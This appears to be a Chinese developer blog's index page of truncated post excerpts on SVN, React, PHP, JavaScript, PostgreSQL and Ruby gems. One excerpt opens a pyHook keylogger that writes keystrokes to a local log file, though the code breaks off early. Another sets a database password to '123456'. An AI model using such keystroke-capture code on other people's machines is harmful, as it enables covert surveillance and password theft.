摘要:
svn: E205009: Local, non-commit operations do not take a log message or revision properties svn copy http://xx http://xx/xx -m 'xx' => "xx" 阅读全文
摘要:
1. import a from './xx' 一定要有 ./ 2. export default const x={} 错 改为 const x={}; export default x; 也就是要分开写 3. this.setState({}) 只有这样才会更新render 不要 this.st 阅读全文
摘要:
$ids1 = implode(",",$upload_ids);if(!empty($upload_ids)){ $ids_db= pdo_fetchall('select id from '.tablename('xx').' where FIND_IN_SET(id, :ids) and un 阅读全文
摘要:
在PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007'); 后面加一行 ob_clean(); 阅读全文
摘要:
+new Date(); 转为数字 一切(引用类型)都是对象,对象是属性的集合对象都是通过函数创建的每个函数function都有一个prototype每个对象都有一个__proto__Object.prototype确实一个特例——它的__proto__指向的是null,切记切记var obj={} 阅读全文
摘要:
package.json ENOSPC 文件监控增加一些 echo fs.inotify.max_user_watches=582222 | sudo tee -a /etc/sysctl.conf && sudo sysctl -phttp://andrewhfarmer.com/starter- 阅读全文
摘要:
https://github.com/twbs/bootstrap https://github.com/semantic-org/semantic-ui/ https://github.com/zurb/foundation-sites https://github.com/dogfalo/materialize/ https://github.com/callemall/material-ui... 阅读全文
摘要:
import pyHookimport sysimport pythoncomimport loggingfile_log = 'C:\\important\\log.txt'def OnKeyboardEvent(event): logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(messa... 阅读全文
摘要:
ubuntu下 修改postgres数据库用户的密码为123456 sudo -u postgres psql postgres=# ALTER USER postgres WITH PASSWORD '123456'; 修改ubuntu操作系统的postgres用户的密码(密码要与数据库用户postgres的密码相同) sudo passwd –d postgres sudo -u postg... 阅读全文
摘要:
http://ruby-toolbox.com/ ~/.gemrc --- :backtrace: false :benchmark: false :bulk_threshold: 1000 :sources: - http://ruby.taobao.org :update_sources: true :verbose: true gem: --no-docume... 阅读全文